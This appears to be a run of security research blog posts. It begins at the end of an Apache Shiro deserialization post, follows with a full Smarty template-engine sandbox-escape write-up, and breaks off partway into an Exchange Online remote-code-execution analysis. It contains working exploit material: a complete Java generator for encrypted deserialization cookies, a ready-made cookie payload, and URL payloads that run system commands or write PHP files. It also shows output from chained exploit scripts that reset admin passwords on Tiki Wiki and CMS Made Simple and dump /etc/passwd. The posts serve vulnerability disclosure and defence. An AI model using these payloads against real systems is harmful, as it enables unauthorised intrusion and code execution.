(+) rememberMe=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

Now, we send the cookie to the server targeting any endpoint:

Triggering deserialization by design

Done!

student@target:~$ docker exec -it fswa stat /tmp/pwn
stat: cannot stat '/tmp/pwn': No such file or directory

student@target:~$ docker exec -it fswa stat /tmp/pwn
  File: /tmp/pwn
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 33h/51d	Inode: 1452414     Links: 1
Access: (0644/-rw-r--r--)  Uid: (  999/   jetty)   Gid: (  999/   jetty)
Access: 2021-04-29 18:33:26.410256760 +0000
Modify: 2021-04-29 18:33:26.410256760 +0000
Change: 2021-04-29 18:33:26.410256760 +0000
 Birth: -

…and of course, the Poc.java which is mostly copied borrowed from Apache Shiro:

package shiro;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import org.apache.shiro.crypto.cipher.*;
import org.apache.shiro.lang.util.ByteSource;

public class Poc {

    public static void main(String[] args) throws Exception {
        if(args.length != 2){
            System.out.println("(+) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>");
            System.exit(0);
        }
		
        // Timo's idea to recycle shiro libs
        AesCipherService aesservice = new AesCipherService();
        aesservice.setModeName("GCM");
        aesservice.setPaddingSchemeName("NoPadding");
        aesservice.setStreamingPaddingSchemeName("NoPadding");
        CipherService cipherService = aesservice;

    	String key = args[0];
    	String cmd = args[1];
        System.out.println("(+) using key " + key);
        byte[] fdata = null;

        // commons-collections 3.2.2 & commons-beanutils 1.9.4
        Object payloadObject = Utils.makePayloadObject("CommonsBeanutils1", cmd);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        try {
            out = new ObjectOutputStream(bos);   
            out.writeObject(payloadObject);
            out.flush();
            fdata = bos.toByteArray();
        } finally {
            try {
              bos.close();
            } catch (IOException ex) {}
        }
        System.out.println("(+) rememberMe=" + 
            new String(
                Base64.getEncoder().encode(
                    cipherService.encrypt(
                        fdata, Base64.getDecoder().decode(key)
                    ).getBytes()
                )
            )
        );
    }
}

References

Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities

18 February 2021 at 13:00

In this blog post we explore two different sandbox escape vulnerabilities discovered in the Smarty Template Engine that can be leveraged by a context dependant attacker to execute arbitrary code. Then we explore how these vulnerabilities can be applyed to some applications that attempt to use the engine in a secure way.

The discovered vulnerabilities impact the Smarty Template Engine <= 3.1.38:

1. template_object Sandbox Escape PHP Code Injection

This vulnerability targets an exposed and instantiated Smarty instance and is partially mitigated by using undocumented sandbox hardening features. It was patched as CVE-2021-26119.

2. Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection

This vulnerability targets the compilation engine and is unmitigated in versions 3.1.38 and below (even with a hardended sandbox using undocumented features). It was patched as CVE-2021-26120.

Background

The following text is taken directly from the Smarty website:

What is Smarty?

Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. This implies that PHP code is application logic, and is separated from the presentation.

The Philosophy

The Smarty design was largely driven by these goals:

  • clean separation of presentation from application code
  • PHP backend, Smarty template frontend
  • complement PHP, not replace it
  • fast development/deployment for programmers and designers
  • quick and easy to maintain
  • syntax easy to understand, no PHP knowledge required
  • flexibility for custom development
  • security: insulation from PHP
  • free, open source

Why is seperating PHP from templates important?

SANDBOXING: When PHP is mixed with templates, there are no restrictions on what type of logic can be injected into a template. Smarty insulates the templates from PHP, creating a controlled separation of presentation from business logic. Smarty also has security features that can further enforce granular restrictions on templates.

Environment

We have to assume an environment in which a template injection could occur. Many applications allow users to modify templates and given that Smarty clearly states that it has a sandbox it’s likley that this functionality will be exposed as intended by developers.

Granted that, there are two ways in which the author is aware that can lead to the injection of template syntax:

$smarty->fetch($_GET['poc']);
$smarty->display($_GET['poc']);

Vectors

Given what we have above senario and assuming a default secure mode is enabled then it’s possible for an attacker to supply their own template code in the following ways:

/page.php?poc=resource:/path/to/template
/page.php?poc=resource:{your template code here}

The resource: will need to be a valid resource, some defaults provided are:

  1. File

When using the file: resource, the code will pull from a local file. I still consider this a remote vector because many applications allow for a file upload and an attacker can provide a relative path or full path to the template file which means UNC paths also work under a Windows environment.

  1. Eval

When using eval: your template code is simply evaluated in Smarty_Resource_Recompiled class. Note that this is not the same as a regular PHP eval.

  1. String

When using the string: resource the code will write the template to disk first and then include it in Smarty_Template_Compiled class.

Vulnerable Example

The proof of concepts presented here may target different sandbox configurations.

Default Sandbox

This page creates a new Smarty instance and enabled secure mode using the default settings:

<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);

Hardened Sandbox

A hardened sandbox page has been created that goes beyond the default sandbox to enable the most secure configuration that Smarty can provide:

<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);

template_object Sandbox Escape PHP Code Injection

Vulnerability Analysis

The fundemental root cause of this vulnerability is access to the Smarty instance from the $smarty.template_object super variable.

Let’s start with getting a reference to the Smarty_Internal_Template object. The {$poc=$smarty.template_object} value simply assigns the template object which is an instance of Smarty_Internal_Template to $poc. This generates the following code:

$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);

This is performed in the compile function within the Smarty_Internal_Compile_Private_Special_Variable class:

case'template_object':
    return'$_smarty_tpl';

If we inspect the $poc object now, we can see it contains many interesting object properties:

object(Smarty_Internal_Template)#7 (24) {  
  ["_objType"]=>
  int(2)  
  ["smarty"]=>
  &object(Smarty)#1 (76) { ... }
  ["source"]=>
  object(Smarty_Template_Source)#8 (16) { ... }
  ["parent"]=>
  object(Smarty)#1 (76) { ... }
  ["ext"]=>
  object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
  ["compiled"]=>
  object(Smarty_Template_Compiled)#11 (12) { ... }

The issue is here is that an attacker can access the smarty or parent property that will give them access to a Smarty instance.

Exploitation

The Static Method Call Technique

So now that an attacker can access the smarty property, they can simply pass it as the third argument to the Smarty_Internal_Runtime_WriteFile::writeFile which will write an arbitrary file to disk (write what where primitive). This is the same technique performed by James Kettle in 2015.

Having the ability to write arbitrary files to a targets filesystem is almost a guaranteed win but an attacker can never be too sure. Environments can vastly differ and writable directories in the webroot may not exist, .htaccess maybe blocking access to backdoors, etc.

Given that context, I came up with an application specific technique in which this vulnerability can be exploited for direct remote code execution without the need for these environment factors.

If using the string: resource, the process method inside of Smarty_Template_Compiled will be called which includes the compiled template file.

    public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile
                || ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $_smarty_tpl->compile_check;
                $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
                $this->loadCompiledTemplate($_smarty_tpl);
                $_smarty_tpl->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include $this->filepath; // overwrite this file and then include!

It’s possible we can dynamically get access to this filepath property of the Smarty_Template_Compiled class so that we can use it as a location for the file write.

The nice thing about this technique is that the temporary location must be writable for the resource to work and it’s platform independant.

Proof of Concept

Using PHP’s built in webserver and the supplied page from Default Sandbox as the target, run the following poc twice.

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

static call exploitation

The reason the request needs to be triggered twice is that the first time the cache file is written and then overwritten. The second time the cache is triggered and the file is included for remote code execution.

Mitigation

As a temporary workaround, the static_classes property can be nulled out in a custom security policy to prevent access to the Smarty_Internal_Runtime_WriteFile class. However, this comes at a cost and will heavily reduce functionality. For example, in the Yii framework access to Html::mailto, JqueryAsset::register and other static method calls will not will not work.

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->static_classes = null;
$smarty->enableSecurity($my_security_policy);

I don’t consider this a complete mitigation since this is not enabled by default when turning secure mode on and doesn’t address the root cause of the vulnerability.

The Sandbox Disabling Technique

Suppose we have a harder target that doesn’t use the default security mode and instead attempts to define it’s own security policy as with the Hardened Sandbox example. It’s still possible to bypass this environment since we can get access to the Smarty instance and can use it to disable the sandbox and render our php code directly.

Proof of Concept
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

property access and method call exploitation

Mitigation

As a temporary workaround, the disabled_special_smarty_vars property can contain the an array with the string template_object.

However, this feature is completely undocumented. Below is an example of how to prevent the attack:

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->disabled_special_smarty_vars = array("template_object");
$smarty->enableSecurity($my_security_policy);

Just like the static method call technique, I don’t consider this a complete mitigation since this is not enabled by default in the sandbox.

Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection

Vulnerability Analysis

When compiling template syntax, the Smarty_Internal_Runtime_TplFunction class does not filter the name property correctly when defining tplFunctions. Let’s take a look at an example with the following template:

{function name='test'}{/function}

We can see that the compiler generates the following code:

/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
    function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
	    foreach ($params as $key => $value) {
            $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
        }
    }
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */

The test string which is presumed controlled by the attacker is injected several times into the generated code. Notable examples are anything not within single quotes.

Since this is injected multiple times, I found it difficult to come up with a payload that would target the comment injection on the first line, so I opted for the function definition injection instead.

Proof of Concept

Using PHP’s built in webserver and the supplied page from Hardened Sandbox as the target, run the following poc:

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

function name injection

Tiki Wiki

When we combine CVE-2020-15906 and CVE-2021-26119 together, we can achieve unauthenticated remote code execution using this exploit:

researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id

researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

CMS Made Simple

When we combine CVE-2019-9053 and CVE-2021-26120 together, we can achieve unauthenticated remote code execution using this exploit:

researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"

researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

References

  1. https://portswigger.net/research/server-side-template-injection
  2. https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Making Clouds Rain :: Remote Code Execution in Microsoft Office 365

12 January 2021 at 14:00

Exchange Online

When I joined Qihoo’s 360 Vulcan Team, one of the things I had free rein over was having the ability to choose an area of security research that has a high impact. Since I enjoy web security research a lot I decided to target cloud based technologies. At the time, I decided to target Microsoft’s cloud network because my understanding of .net was very limited and it gave me a chance to grow that technical capability.

TL;DR; This post is a story on how I found and exploited CVE-2020-168751, a remote code execution vulnerability in Exchange Online and bypassed two different patches for the vulnerability. Exchange Online is part of the Office 365 suite that impacted multiple cloud servers operated by Microsoft that could have resulted in the access to millions of corporate email accounts.

Background

If you take a look at the number of remote code execution bugs in Microsoft Exchange Server within the last two years, you will find 6 bugs publically reported (not including the bug in this post). Only two of those were deemed important for mentioning:

  • CVE-2019-1373

    Rated as critical because this bug impacted Microsoft’s cloud network and subsequently impacted other cloud providers of Exchange Server that utilize multi-tenant environments even though a high privileged account was required.

  • CVE-2020-0688

    Rated as important, likely due to the fact that cloud providers were not impacted (some differentiations occur in configuration between the cloud and on-premise deployments). However, this code execution bug only required a low privileged domain account with a valid mailbox making it a great target for phishing attacks against on-premise deployments.

In contrast if we take a look at just how popular Office 365 is, we can see that by the end of 2019 the service had a little over 200 million active users. So when Office 365 goes down as it did recently, it makes the news. Below is a chart2 showing a nice linear growth in active subscriptions of Office 365 clearly showing large numbers of organizations depending on “the cloud”.

Growth in Office 365 Monthly Active Users since November 2015

So a remote code execution inside of Office 365 sounded like high impact to me.

Approach

Whilst I could have blindly tested the Exchange Online instance, this would have likely resulted in 0 high impact findings. Assuming that Microsoft know what they are doing, it’s unlikley that I would have a found a high impact remote code execution vulnerability without accessing source code.

Often legacy methods and/or new features remain hidden from a UI and this was my primary focus (and chance to obtain remote access) which simply cannot be found from a black-box perspective.

Understanding the Exchange Architecture

From a high level view, Exchange Server exposes a number of web APIs as well as a powershell remoting interface for users and administrators. Some of the APIs actually proxy much of the same functionality to backend endpoints. For example the Exchange Control Panel (/ecp) is a simple asp.net web application implementing a number of asp.net handlers that mostly wrap cmdlet execution in the powershell remoting interface (/powershell).

Since I was targeting Exchange Online, it didn’t matter if I had a pre or post-authenticated remote code execution vulnerability. The impact, with regards to Exchange Online would have been the same since a malicious tenant can be created with ease and the necessary permissions applied. This is the fundamental difference in targeting cloud based technologies vs on-premise environments that is all too often overlooked. Your threat model is different in the cloud!

Attack Surface

Since we can use any privilege level to achieve code execution in the cloud, I decided to focus on the powershell remoting interface since it had been a source of trouble in the past with CVE-2019-1373. Auditing powershell cmdlets is really just like auditing most .net application code without all the web framework scaffolding! Without further due, let’s dive into the analysis of CVE-2020-16875.

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability

Vulnerability Analysis

The class that handles the New-DlpPolicy cmdlet can be found at Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicy inside of the C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Management.dll library. This class (like all the other cmdlets) have two internal methods which are called in the following order:

  1. InternalValidate
  2. InternalProcessRecord
namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    [Cmdlet("New", "DlpPolicy", SupportsShouldProcess = true)]
    public sealed class NewDlpPolicy : NewMultitenancyFixedNameSystemConfigurationObjectTask<ADComplianceProgram>
    {
        // ...
        private NewDlpPolicyImpl impl;

        public NewDlpPolicy()
        {
            this.impl = new NewDlpPolicyImpl(this);
        }

        protected override void InternalProcessRecord()
        {
            this.SetupImpl();
            this.impl.ProcessRecord();  // 1
        }

At [1] InternalProcessRecord calls NewDlpPolicyImpl.ProcessRecord().

namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    internal class NewDlpPolicyImpl : CmdletImplementation
    {
        // ...
        public override void ProcessRecord()
        {
            try
            {
                IEnumerable<PSObject> enumerable;
                DlpUtils.AddTenantDlpPolicy(base.DataSession, this.dlpPolicy, Utils.GetOrganizationParameterValue(this.taskObject.Fields), out enumerable, false);  // 2
            }
            catch (DlpPolicyScriptExecutionException exception)
            {
                this.taskObject.WriteError(exception, ErrorCategory.InvalidArgument, null);
            }
        }

We can see the call to DlpUtils.AddTenantDlpPolicy at [2] which is using the attacker influenced this.dlpPolicy instance. Although not shown, dlpPolicy is derived from the cmdlet parameter TemplateData inside the NewDlpPolicy class.

        [Parameter(Mandatory = false)]
        public byte[] TemplateData
        {
            get
            {
                return (byte[])base.Fields["TemplateData"];
            }
            set
            {
                base.Fields["TemplateData"] = value;
            }
        }

Investigating the DlpUtils.AddTenantDlpPolicy call reveals some interesting things:

namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    internal static class DlpUtils
    {

        // ...
        public static void AddTenantDlpPolicy(IConfigDataProvider dataSession, DlpPolicyMetaData dlpPolicy, ...)
        {
            //...
            if (skipTransportRules)
            {
                return;
            }
            IEnumerable<string> cmdlets = Utils.AddOrganizationScopeToCmdlets(dlpPolicy.PolicyCommands, organizationParameterValue);  // 3
            string domainController = null;
            ADSessionSettings sessionSettings = null;
            MessagingPoliciesSyncLogDataSession messagingPoliciesSyncLogDataSession = dataSession as MessagingPoliciesSyncLogDataSession;
            if (messagingPoliciesSyncLogDataSession != null)
            {
                domainController = messagingPoliciesSyncLogDataSession.LastUsedDc;
                sessionSettings = messagingPoliciesSyncLogDataSession.SessionSettings;
            }
            try
            {
                results = CmdletRunner.RunCmdlets(cmdlets, false);  // 4
            }
            //...
        }

At [3] the code extracts the attacker supplied PolicyCommands and stores them into an IEnumerable array of strings called cmdlets. Then at [4] the code calls CmdletRunner.RunCmdlets on cmdlets.

namespace Microsoft.Exchange.Management.Common
{
    internal class CmdletRunner
    {
        internal static IEnumerable<PSObject> RunCmdlets(IEnumerable<string> cmdlets, bool continueOnFailure = false)
        {
            PSLanguageMode languageMode = Runspace.DefaultRunspace.SessionStateProxy.LanguageMode;
            if (languageMode != PSLanguageMode.FullLanguage)
            {
                Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
            }
            List<PSObject> list = new List<PSObject>();
            StringBuilder stringBuilder = new StringBuilder();
            try
            {
                foreach (string text in cmdlets)
                {
                    using (Pipeline pipeline = Runspace.DefaultRunspace.CreateNestedPipeline())
                    {
                        pipeline.Commands.AddScript(text);  // 5
                        IEnumerable<PSObject> collection = pipeline.Invoke();  // 6
                        list.AddRange(collection);
                        IEnumerable<object> enumerable = pipeline.Error.ReadToEnd();
                        if (enumerable.Any<object>())
                        {
                            stringBuilder.AppendLine(text);
                            foreach (object obj in enumerable)
                            {
                                stringBuilder.AppendLine(obj.ToString());
                            }
                            if (!continueOnFailure)
                            {
                                throw new CmdletExecutionException(stringBuilder.ToString());
                            }
                        }
                    }
                }
            }
            // ...
        }
    }
}

At [5] the command is added to the pipeline and finally at [6] the powershell command is executed.

Reaching the Bug

Before we try and exploit this bug, we need to make sure we have the appropriate permissions. We can set the permission in the Exchange Online PowerShell the equivalent being for on-premise installations is the Exchange Management Console (EMC).

Adding Harry Houdini to the dlp users group with the Data Loss Prevention Role

There are some groups that come default with Exchange Server that contain the “Data Loss Prevention” Role assigned by such as Organization Management and Server Management which could also be used. Typically though, in cases like these I’m suspicious of organizations handing out roles to users like santa giving out presents to bad little children.

Once we have the correct permissions we can exploit the bug in two different ways - the first being the ps-remoting interface (/powershell) and the second being the ecp interface (/ecp). The ecp interface is interesting because it proxies the attack nicely over https meaning it can integrate nicely into Metasploit (thanks Will!).

Exploitation via ECP

Inside of the Microsoft.Exchange.Management.ControlPanel.dll library, we can find the following entry:

// Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV
private void ExecuteUpload()
{
    try
    {
        if (base.Request.Files.Count == 0 || string.IsNullOrEmpty(base.Request.Files[0].FileName))
        {
            ErrorHandlingUtil.ShowServerError(Strings.ISVNoFileUploaded, string.Empty, this.Page);
        }
        else
        {
            DLPISVService dlpisvservice = new DLPISVService();
            HttpPostedFile httpPostedFile = base.Request.Files[0];                                                      // 1
            byte[] array = new byte[httpPostedFile.ContentLength];
            httpPostedFile.InputStream.Read(array, 0, array.Length);                                                    // 2
            PowerShellResults powerShellResults = dlpisvservice.ProcessUpload(new DLPNewPolicyUploadParameters
            {
                Mode = this.policyMode.SelectedValue,
                State = RuleState.Enabled.ToString(),
                Name = this.name.Text,
                Description = this.description.Text,
                TemplateData = array                                                                                    // 3
            });
            if (powerShellResults.Failed)
            {
                ErrorHandlingUtil.ShowServerErrors(powerShellResults.ErrorRecords, this.Page);
            }
            else
            {
                this.Page.RegisterStartupScript("windowclose", string.Format("<script>{0}</script>", "window.opener.RefreshPolicyListView();window.close();"));
            }
        }
    }
    catch (Exception ex)
    {
        ErrorHandlingUtil.ShowServerError(ex.Message, string.Empty, this.Page);
    }
}

At [1] the code sets the httpPostedFile variable from the attackers request. Then at [2] the input stream is read into an array which is later feed to ProcessUpload via TemplateData at [3].

    public class DLPISVService : DataSourceService
    {
